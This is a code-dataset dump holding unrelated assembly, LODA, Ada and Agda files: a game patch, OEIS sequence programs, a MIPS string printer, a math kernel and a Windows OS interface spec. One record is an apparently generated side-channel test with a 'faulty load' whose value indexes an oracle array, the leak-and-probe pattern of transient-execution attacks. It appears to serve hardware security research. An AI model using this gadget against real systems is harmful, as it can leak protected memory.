max_stars_repo_path
stringlengths
4
261
max_stars_repo_name
stringlengths
6
106
max_stars_count
int64
0
38.8k
id
stringlengths
1
6
text
stringlengths
7
1.05M
u7-common/patch-eop-dropToPresetDestination.asm
JohnGlassmyer/UltimaHacks
68
92109
<gh_stars>10-100 ; Initiates drop of the item currently being dragged, using a specified ; inventory area as source and using our fake dropArea as the destination. ; This allows dropping a dragged item into an arbitrary container, which might ; not be open as an on-screen inventory dialog, and for which there might ; therefore be no real inventory area to specify as the destination. [bits 16] startPatch EXE_LENGTH, eop-dropToPresetDestination startBlockAt addr_eop_dropToPresetDestination push bp mov bp, sp ; bp-based stack frame: %assign arg_pn_sourceControl 0x04 %assign ____callerIp 0x02 %assign ____callerBp 0x00 %assign var_draggedIbo -0x02 %assign var_itemHasQuantity -0x04 add sp, var_itemHasQuantity push si push di lea ax, [bp+var_draggedIbo] push ax callFromOverlay getItemBeingDragged pop cx ; stop if nothing's being dragged test ax, ax jz returnFailure callVarArgsEopFromOverlay ensureDragAndDropAreasInitialized, 0 ; require that the drop area be already configured with a destination mov bx, [dseg_pn_dropArea] cmp word [bx+InventoryArea_ibo], 0 jz returnFailure push word [bp+var_draggedIbo] callVarArgsEopFromOverlay doesItemHaveQuantity, 1 pop cx mov word [bp+var_itemHasQuantity], ax push 1 ; destination is item, not world push word [bp+var_itemHasQuantity] push word [dseg_pn_dropArea] push word [bp+arg_pn_sourceControl] lea ax, [bp+var_draggedIbo] push ax callFromOverlay dropDraggedItem add sp, 10 returnSuccess: mov ax, 1 jmp endProc returnFailure: mov ax, 0 endProc: pop di pop si mov sp, bp pop bp retn endBlockAt off_eop_dropToPresetDestination_end endPatch
programs/oeis/268/A268147.asm
neoneye/loda
22
166512
; A268147: A double binomial sum involving absolute values. ; 0,16,512,12288,262144,5242880,100663296,1879048192,34359738368,618475290624,10995116277760,193514046488576,3377699720527872,58546795155816448,1008806316530991104,17293822569102704640,295147905179352825856,5017514388048998039552,85002596691653613846528,1435599410792372144963584,24178516392292583494123520,406199075390515402701275136,6808670216069591511945183232,113890483614254985290719428608,1901475900342344102245054808064,31691265005705735037417580134400,527342649694943431022628533436416,8762000948777521623145212555558912,145384312038975173598853897218162688 mov $2,16 pow $2,$0 mul $0,$2
string_print3.asm
danielzy95/MIPS-Random
0
90329
.text string_print: addiu $sp, $sp, -8 sw $ra, 0($sp) sw $s0, 4($sp) move $s0, $a0 lbu $a0, 0($s0) beq $a0, $zero, end_funct do: jal print addiu $s0, $s0, 1 lbu $a0, 0($s0) bne $a0, $zero, do end_funct: lw $s0, 4($sp) lw $ra, 0($sp) addiu $sp, $sp, 8 jr $ra print:
Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xa0_notsx.log_21829_1888.asm
ljhsiun2/medusa
9
18512
<filename>Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xa0_notsx.log_21829_1888.asm<gh_stars>1-10 .global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_A_ht+0x17693, %rsi lea addresses_UC_ht+0xa293, %rdi nop nop nop and $64606, %r12 mov $88, %rcx rep movsq and %r11, %r11 lea addresses_normal_ht+0x10293, %r12 nop xor $47638, %rax movb $0x61, (%r12) nop nop inc %rsi lea addresses_A_ht+0x1e93, %rsi lea addresses_A_ht+0x1ae93, %rdi clflush (%rsi) nop nop nop nop add $56423, %rbp mov $70, %rcx rep movsb nop nop and $49312, %rax lea addresses_WT_ht+0x293, %r12 nop nop cmp %r11, %r11 mov (%r12), %rax nop nop dec %rcx lea addresses_normal_ht+0x5e93, %r12 clflush (%r12) nop nop nop nop nop and $15988, %r11 mov $0x6162636465666768, %rbp movq %rbp, %xmm3 movups %xmm3, (%r12) nop nop nop nop and $35958, %r12 pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r15 push %r8 push %rbp push %rbx push %rcx // Store lea addresses_normal+0x84cb, %rbp nop nop nop nop nop and $14084, %r8 movw $0x5152, (%rbp) nop nop nop nop nop sub %rbp, %rbp // Store lea addresses_A+0x16971, %rbp nop nop nop nop sub %rbx, %rbx movl $0x51525354, (%rbp) nop sub %r15, %r15 // Store mov $0x909, %r8 nop and $39489, %rcx movb $0x51, (%r8) nop cmp %rbp, %rbp // Store lea addresses_RW+0x14671, %r8 nop nop inc %rcx mov $0x5152535455565758, %r15 movq %r15, %xmm0 vmovups %ymm0, (%r8) nop nop nop nop and %rbx, %rbx // Load mov $0x823, %r15 nop cmp %r13, %r13 movups (%r15), %xmm4 vpextrq $1, %xmm4, %rbx nop nop nop cmp $58653, %r8 // Load lea addresses_A+0x33, %r8 add $28100, %rbp mov (%r8), %r15d nop xor $58398, %r15 // Faulty Load lea addresses_PSE+0x4e93, %rbp nop add $10767, %r15 mov (%rbp), %r10 lea oracles, %r13 and $0xff, %r10 shlq $12, %r10 mov (%r13,%r10,1), %r10 pop %rcx pop %rbx pop %rbp pop %r8 pop %r15 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 16, 'NT': True, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 3}} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 1}} {'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 1}} {'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 1}} {'src': {'type': 'addresses_P', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 4}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 3}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_PSE', 'AVXalign': True, 'size': 8, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 10}} {'src': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}} {'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 8}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 9}} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
lib/asm/sqrtf.asm
zhouyan/MCKL
12
24332
;;============================================================================ ;; MCKL/lib/asm/sqrtf.asm ;;---------------------------------------------------------------------------- ;; MCKL: Monte Carlo Kernel Library ;;---------------------------------------------------------------------------- ;; Copyright (c) 2013-2018, <NAME> ;; All rights reserved. ;; ;; Redistribution and use in source and binary forms, with or without ;; modification, are permitted provided that the following conditions are met: ;; ;; Redistributions of source code must retain the above copyright notice, ;; this list of conditions and the following disclaimer. ;; ;; Redistributions in binary form must reproduce the above copyright notice, ;; this list of conditions and the following disclaimer in the documentation ;; and/or other materials provided with the distribution. ;; ;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS AS IS ;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ;; ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE ;; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR ;; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF ;; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS ;; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN ;; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ;; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ;; POSSIBILITY OF SUCH DAMAGE. ;;============================================================================ %include "/math.asm" global mckl_vs_sqrt default rel %macro sqrt_constants 0 %endmacro %macro sqrt 2 vmovups ymm0, %2 vsqrtps ymm0, ymm0 vmovups %1, ymm0 %endmacro section .text mckl_vs_sqrt: math_kernel_a1r1 4, sqrt ; vim:ft=nasm
programs/oeis/186/A186274.asm
karttu/loda
0
7331
; A186274: Adjusted joint rank sequence of (f(i)) and (g(j)) with f(i) before g(j) when f(i)=g(j), where f and g are the triangular numbers and octagonal numbers. Complement of A186159. ; 2,5,9,12,15,19,22,26,29,33,36,40,43,46,50,53,57,60,64,67,71,74,78,81,84,88,91,95,98,102,105,109,112,115,119,122,126,129,133,136,140,143,147,150,153,157,160,164,167,171,174,178,181,184,188,191,195,198,202,205,209,212,216,219,222,226,229,233,236,240,243,247,250,253,257,260,264,267,271,274,278,281,284,288,291,295,298,302,305,309,312,316,319,322,326,329,333,336,340,343 mov $2,$0 add $2,1 mov $5,$0 lpb $2,1 mov $0,$5 sub $2,1 sub $0,$2 mov $4,2 mov $8,$0 lpb $4,1 sub $4,1 add $0,$4 sub $0,1 mov $6,100 mul $6,$0 add $6,10 div $6,69 mov $3,$6 mov $7,$4 lpb $7,1 sub $7,1 mov $9,$3 lpe lpe lpb $8,1 mov $8,0 sub $9,$3 lpe mov $3,$9 add $3,2 add $1,$3 lpe
y2s2/csa/practicals/prac-5/4-loop-ex-3.asm
ouldevloper/university
8
21437
; Display "A" to "Z". .MODEL SMALL .STACK 100 .DATA .CODE MAIN PROC MOV AX,@DATA MOV DS,AX MOV CX, 26 L1: MOV AH, 02H MOV DL, "Z" SUB DL, CL INC DL INT 21H LOOP L1 MOV AX,4C00H INT 21H MAIN ENDP END MAIN
src/ColorChange.asm
gschizas/amstrad-diagnostics
60
87009
; Changes contents of L depending on whether the LSB of D was good or bad nop nop nop rrc d ; [2] jr c, $+6 ; [2][3] ld l, ColorGood ; [2] green (21) jr $+6 ; [3] ld l, ColorBad ; [2] red (6s) nop ; [1] nop ; [1] out (c), c ; [4]
tools-src/gnu/gcc/gcc/ada/5wosinte.ads
enfoTek/tomato.linksys.e2000.nvram-mod
80
21051
------------------------------------------------------------------------------ -- -- -- GNU ADA RUN-TIME LIBRARY (GNARL) COMPONENTS -- -- -- -- S Y S T E M . O S _ I N T E R F A C E -- -- -- -- S p e c -- -- -- -- $Revision$ -- -- -- Copyright (C) 1997-2001, Free Software Foundation, Inc. -- -- -- -- GNARL is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 2, or (at your option) any later ver- -- -- sion. GNARL is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -- -- for more details. You should have received a copy of the GNU General -- -- Public License distributed with GNARL; see file COPYING. If not, write -- -- to the Free Software Foundation, 59 Temple Place - Suite 330, Boston, -- -- MA 02111-1307, USA. -- -- -- -- As a special exception, if other files instantiate generics from this -- -- unit, or you link this unit with other files to produce an executable, -- -- this unit does not by itself cause the resulting executable to be -- -- covered by the GNU General Public License. This exception does not -- -- however invalidate any other reasons why the executable file might be -- -- covered by the GNU Public License. -- -- -- -- GNARL was developed by the GNARL team at Florida State University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ -- This is a NT (native) version of this package. -- This package encapsulates all direct interfaces to OS services -- that are needed by children of System. -- PLEASE DO NOT add any with-clauses to this package -- or remove the pragma Elaborate_Body. -- It is designed to be a bottom-level (leaf) package. with Interfaces.C; with Interfaces.C.Strings; package System.OS_Interface is pragma Preelaborate; subtype int is Interfaces.C.int; subtype long is Interfaces.C.long; ------------------- -- General Types -- ------------------- type DWORD is new Interfaces.C.unsigned_long; type WORD is new Interfaces.C.unsigned_short; -- The LARGE_INTEGER type is actually a fixed point type -- that only can represent integers. The reason for this is -- easier conversion to Duration or other fixed point types. -- (See Operations.Clock) type LARGE_INTEGER is delta 1.0 range -2.0**63 .. 2.0**63 - 1.0; for LARGE_INTEGER'Alignment use 4; subtype PSZ is Interfaces.C.Strings.chars_ptr; subtype PCHAR is Interfaces.C.Strings.chars_ptr; subtype PVOID is System.Address; Null_Void : constant PVOID := System.Null_Address; type PLONG is access all Interfaces.C.long; type PDWORD is access all DWORD; type BOOL is new Boolean; for BOOL'Size use Interfaces.C.unsigned_long'Size; ------------------------- -- Handles for objects -- ------------------------- type HANDLE is new Interfaces.C.long; type PHANDLE is access all HANDLE; subtype Thread_Id is HANDLE; ----------- -- Errno -- ----------- NO_ERROR : constant := 0; FUNC_ERR : constant := -1; ------------- -- Signals -- ------------- Max_Interrupt : constant := 31; type Signal is new int range 0 .. Max_Interrupt; for Signal'Size use int'Size; SIGINT : constant := 2; -- interrupt (Ctrl-C) SIGILL : constant := 4; -- illegal instruction (not reset) SIGFPE : constant := 8; -- floating point exception SIGSEGV : constant := 11; -- segmentation violation SIGTERM : constant := 15; -- software termination signal from kill SIGBREAK : constant := 21; -- break (Ctrl-Break) SIGABRT : constant := 22; -- used by abort, replace SIGIOT in the future type sigset_t is private; type isr_address is access procedure (sig : int); function intr_attach (sig : int; handler : isr_address) return long; pragma Import (C, intr_attach, "signal"); Intr_Attach_Reset : constant Boolean := True; -- True if intr_attach is reset after an interrupt handler is called procedure kill (sig : Signal); pragma Import (C, kill, "raise"); --------------------- -- Time Management -- --------------------- procedure Sleep (dwMilliseconds : DWORD); pragma Import (Stdcall, Sleep, External_Name => "Sleep"); type SYSTEMTIME is record wYear : WORD; wMonth : WORD; wDayOfWeek : WORD; wDay : WORD; wHour : WORD; wMinute : WORD; wSecond : WORD; wMilliseconds : WORD; end record; procedure GetSystemTime (pSystemTime : access SYSTEMTIME); pragma Import (Stdcall, GetSystemTime, "GetSystemTime"); procedure GetSystemTimeAsFileTime (lpFileTime : access Long_Long_Integer); pragma Import (Stdcall, GetSystemTimeAsFileTime, "GetSystemTimeAsFileTime"); function SetSystemTime (pSystemTime : access SYSTEMTIME) return BOOL; pragma Import (Stdcall, SetSystemTime, "SetSystemTime"); function FileTimeToSystemTime (lpFileTime : access Long_Long_Integer; lpSystemTime : access SYSTEMTIME) return BOOL; pragma Import (Stdcall, FileTimeToSystemTime, "FileTimeToSystemTime"); function SystemTimeToFileTime (lpSystemTime : access SYSTEMTIME; lpFileTime : access Long_Long_Integer) return BOOL; pragma Import (Stdcall, SystemTimeToFileTime, "SystemTimeToFileTime"); function FileTimeToLocalFileTime (lpFileTime : access Long_Long_Integer; lpLocalFileTime : access Long_Long_Integer) return BOOL; pragma Import (Stdcall, FileTimeToLocalFileTime, "FileTimeToLocalFileTime"); function LocalFileTimeToFileTime (lpFileTime : access Long_Long_Integer; lpLocalFileTime : access Long_Long_Integer) return BOOL; pragma Import (Stdcall, LocalFileTimeToFileTime, "LocalFileTimeToFileTime"); function QueryPerformanceCounter (lpPerformanceCount : access LARGE_INTEGER) return BOOL; pragma Import (Stdcall, QueryPerformanceCounter, "QueryPerformanceCounter"); function QueryPerformanceFrequency (lpFrequency : access LARGE_INTEGER) return BOOL; pragma Import (Stdcall, QueryPerformanceFrequency, "QueryPerformanceFrequency"); ------------- -- Threads -- ------------- type Thread_Body is access function (arg : System.Address) return System.Address; ----------------------- -- Critical sections -- ----------------------- type CRITICAL_SECTION is private; type PCRITICAL_SECTION is access all CRITICAL_SECTION; procedure InitializeCriticalSection (pCriticalSection : PCRITICAL_SECTION); pragma Import (Stdcall, InitializeCriticalSection, "InitializeCriticalSection"); procedure EnterCriticalSection (pCriticalSection : PCRITICAL_SECTION); pragma Import (Stdcall, EnterCriticalSection, "EnterCriticalSection"); procedure LeaveCriticalSection (pCriticalSection : PCRITICAL_SECTION); pragma Import (Stdcall, LeaveCriticalSection, "LeaveCriticalSection"); procedure DeleteCriticalSection (pCriticalSection : PCRITICAL_SECTION); pragma Import (Stdcall, DeleteCriticalSection, "DeleteCriticalSection"); ------------------------------------------------------------- -- Thread Creation, Activation, Suspension And Termination -- ------------------------------------------------------------- type PTHREAD_START_ROUTINE is access function (pThreadParameter : PVOID) return DWORD; pragma Convention (Stdcall, PTHREAD_START_ROUTINE); type SECURITY_ATTRIBUTES is record nLength : DWORD; pSecurityDescriptor : PVOID; bInheritHandle : BOOL; end record; type PSECURITY_ATTRIBUTES is access all SECURITY_ATTRIBUTES; function CreateThread (pThreadAttributes : PSECURITY_ATTRIBUTES; dwStackSize : DWORD; pStartAddress : PTHREAD_START_ROUTINE; pParameter : PVOID; dwCreationFlags : DWORD; pThreadId : PDWORD) return HANDLE; pragma Import (Stdcall, CreateThread, "CreateThread"); function BeginThreadEx (pThreadAttributes : PSECURITY_ATTRIBUTES; dwStackSize : DWORD; pStartAddress : PTHREAD_START_ROUTINE; pParameter : PVOID; dwCreationFlags : DWORD; pThreadId : PDWORD) return HANDLE; pragma Import (C, BeginThreadEx, "_beginthreadex"); Debug_Process : constant := 16#00000001#; Debug_Only_This_Process : constant := 16#00000002#; Create_Suspended : constant := 16#00000004#; Detached_Process : constant := 16#00000008#; Create_New_Console : constant := 16#00000010#; Create_New_Process_Group : constant := 16#00000200#; Create_No_window : constant := 16#08000000#; Profile_User : constant := 16#10000000#; Profile_Kernel : constant := 16#20000000#; Profile_Server : constant := 16#40000000#; function GetExitCodeThread (hThread : HANDLE; pExitCode : PDWORD) return BOOL; pragma Import (Stdcall, GetExitCodeThread, "GetExitCodeThread"); function ResumeThread (hThread : HANDLE) return DWORD; pragma Import (Stdcall, ResumeThread, "ResumeThread"); function SuspendThread (hThread : HANDLE) return DWORD; pragma Import (Stdcall, SuspendThread, "SuspendThread"); procedure ExitThread (dwExitCode : DWORD); pragma Import (Stdcall, ExitThread, "ExitThread"); procedure EndThreadEx (dwExitCode : DWORD); pragma Import (C, EndThreadEx, "_endthreadex"); function TerminateThread (hThread : HANDLE; dwExitCode : DWORD) return BOOL; pragma Import (Stdcall, TerminateThread, "TerminateThread"); function GetCurrentThread return HANDLE; pragma Import (Stdcall, GetCurrentThread, "GetCurrentThread"); function GetCurrentProcess return HANDLE; pragma Import (Stdcall, GetCurrentProcess, "GetCurrentProcess"); function GetCurrentThreadId return DWORD; pragma Import (Stdcall, GetCurrentThreadId, "GetCurrentThreadId"); function TlsAlloc return DWORD; pragma Import (Stdcall, TlsAlloc, "TlsAlloc"); function TlsGetValue (dwTlsIndex : DWORD) return PVOID; pragma Import (Stdcall, TlsGetValue, "TlsGetValue"); function TlsSetValue (dwTlsIndex : DWORD; pTlsValue : PVOID) return BOOL; pragma Import (Stdcall, TlsSetValue, "TlsSetValue"); function TlsFree (dwTlsIndex : DWORD) return BOOL; pragma Import (Stdcall, TlsFree, "TlsFree"); TLS_Nothing : constant := DWORD'Last; procedure ExitProcess (uExitCode : Interfaces.C.unsigned); pragma Import (Stdcall, ExitProcess, "ExitProcess"); function WaitForSingleObject (hHandle : HANDLE; dwMilliseconds : DWORD) return DWORD; pragma Import (Stdcall, WaitForSingleObject, "WaitForSingleObject"); function WaitForSingleObjectEx (hHandle : HANDLE; dwMilliseconds : DWORD; fAlertable : BOOL) return DWORD; pragma Import (Stdcall, WaitForSingleObjectEx, "WaitForSingleObjectEx"); Wait_Infinite : constant := DWORD'Last; WAIT_TIMEOUT : constant := 16#0000_0102#; WAIT_FAILED : constant := 16#FFFF_FFFF#; ------------------------------------ -- Semaphores, Events and Mutexes -- ------------------------------------ function CloseHandle (hObject : HANDLE) return BOOL; pragma Import (Stdcall, CloseHandle, "CloseHandle"); function CreateSemaphore (pSemaphoreAttributes : PSECURITY_ATTRIBUTES; lInitialCount : Interfaces.C.long; lMaximumCount : Interfaces.C.long; pName : PSZ) return HANDLE; pragma Import (Stdcall, CreateSemaphore, "CreateSemaphoreA"); function OpenSemaphore (dwDesiredAccess : DWORD; bInheritHandle : BOOL; pName : PSZ) return HANDLE; pragma Import (Stdcall, OpenSemaphore, "OpenSemaphoreA"); function ReleaseSemaphore (hSemaphore : HANDLE; lReleaseCount : Interfaces.C.long; pPreviousCount : PLONG) return BOOL; pragma Import (Stdcall, ReleaseSemaphore, "ReleaseSemaphore"); function CreateEvent (pEventAttributes : PSECURITY_ATTRIBUTES; bManualReset : BOOL; bInitialState : BOOL; pName : PSZ) return HANDLE; pragma Import (Stdcall, CreateEvent, "CreateEventA"); function OpenEvent (dwDesiredAccess : DWORD; bInheritHandle : BOOL; pName : PSZ) return HANDLE; pragma Import (Stdcall, OpenEvent, "OpenEventA"); function SetEvent (hEvent : HANDLE) return BOOL; pragma Import (Stdcall, SetEvent, "SetEvent"); function ResetEvent (hEvent : HANDLE) return BOOL; pragma Import (Stdcall, ResetEvent, "ResetEvent"); function PulseEvent (hEvent : HANDLE) return BOOL; pragma Import (Stdcall, PulseEvent, "PulseEvent"); function CreateMutex (pMutexAttributes : PSECURITY_ATTRIBUTES; bInitialOwner : BOOL; pName : PSZ) return HANDLE; pragma Import (Stdcall, CreateMutex, "CreateMutexA"); function OpenMutex (dwDesiredAccess : DWORD; bInheritHandle : BOOL; pName : PSZ) return HANDLE; pragma Import (Stdcall, OpenMutex, "OpenMutexA"); function ReleaseMutex (hMutex : HANDLE) return BOOL; pragma Import (Stdcall, ReleaseMutex, "ReleaseMutex"); --------------------------------------------------- -- Accessing properties of Threads and Processes -- --------------------------------------------------- ----------------- -- Priorities -- ----------------- function SetThreadPriority (hThread : HANDLE; nPriority : Interfaces.C.int) return BOOL; pragma Import (Stdcall, SetThreadPriority, "SetThreadPriority"); function GetThreadPriority (hThread : HANDLE) return Interfaces.C.int; pragma Import (Stdcall, GetThreadPriority, "GetThreadPriority"); function SetPriorityClass (hProcess : HANDLE; dwPriorityClass : DWORD) return BOOL; pragma Import (Stdcall, SetPriorityClass, "SetPriorityClass"); Normal_Priority_Class : constant := 16#00000020#; Idle_Priority_Class : constant := 16#00000040#; High_Priority_Class : constant := 16#00000080#; Realtime_Priority_Class : constant := 16#00000100#; Thread_Priority_Idle : constant := -15; Thread_Priority_Lowest : constant := -2; Thread_Priority_Below_Normal : constant := -1; Thread_Priority_Normal : constant := 0; Thread_Priority_Above_Normal : constant := 1; Thread_Priority_Highest : constant := 2; Thread_Priority_Time_Critical : constant := 15; Thread_Priority_Error_Return : constant := Interfaces.C.long'Last; function GetLastError return DWORD; pragma Import (Stdcall, GetLastError, "GetLastError"); private type sigset_t is new Interfaces.C.unsigned_long; type CRITICAL_SECTION is record DebugInfo : System.Address; -- The following three fields control entering and -- exiting the critical section for the resource LockCount : Long_Integer; RecursionCount : Long_Integer; OwningThread : HANDLE; LockSemaphore : HANDLE; Reserved : DWORD; end record; end System.OS_Interface;
ALINK/t2.asm
DarkRiDDeR/mandelbrotin-fractal-generation-NASM
3
15198
; t2.asm ; assemble with: ; nasm -fobj t2.asm ; ; link with ; alink -oPE t2 ; ; run with ; t2 ; ; expected output is four message boxes. First two say "Hello" in title ; last two say "Bye" in title import start tdll.dll import title1 tdll.dll extern start extern title1 segment code public use32 class=CODE ..start: exestart: call [start] ;display two message boxes ;need to call [start], since start gives address ;of Import Address Table entry, a pointer to routine mov ebx,[title1] ;get address of title1 from IAT mov [ebx],byte 'B' mov [ebx+1],byte 'y' mov [ebx+2],byte 'e' mov [ebx+3],byte 0 call [start] ret
test/Fail/Issue783b.agda
cruhland/agda
1,989
8303
record R : Set₁ where X = Set Set -- should get error here field A : Set
src/Categories/Diagram/Finite.agda
MirceaS/agda-categories
0
5692
<reponame>MirceaS/agda-categories {-# OPTIONS --without-K --safe #-} module Categories.Diagram.Finite where open import Level open import Categories.Category open import Categories.Category.Finite renaming (Finite to FiniteC) open import Categories.Functor private variable o ℓ e : Level J C : Category o ℓ e record Finite (F : Functor J C) : Set (levelOfTerm F) where field finite : FiniteC J open Functor F public open FiniteC finite public
oeis/260/A260033.asm
neoneye/loda-programs
11
177531
; A260033: Number of configurations of the general monomer-dimer model for a 2 X 2n square lattice. ; Submitted by <NAME> ; 1,7,71,733,7573,78243,808395,8352217,86293865,891575391,9211624463,95173135221,983314691581,10159461285307,104966044432531,1084493574452273,11204826469232593,115766602184825143,1196083332322900695,12357755266727364237,127678491209925526885,1319155199774412146771,13629315514315782290523,140816062750262645695241,1454890636852453038760761,15031713881639460688792207,155305434302817158951084191,1604592670796364976679141413,16578413052521934091501758413,171285700316469537328716436843 mul $0,2 mov $1,1 mov $3,1 lpb $0 sub $0,1 add $2,$1 add $2,$1 add $1,$2 mov $4,$3 mov $3,$2 mov $2,$4 lpe mov $0,$3
tools/scitools/conf/understand/ada/ada95/s-wchstw.ads
brucegua/moocos
1
28266
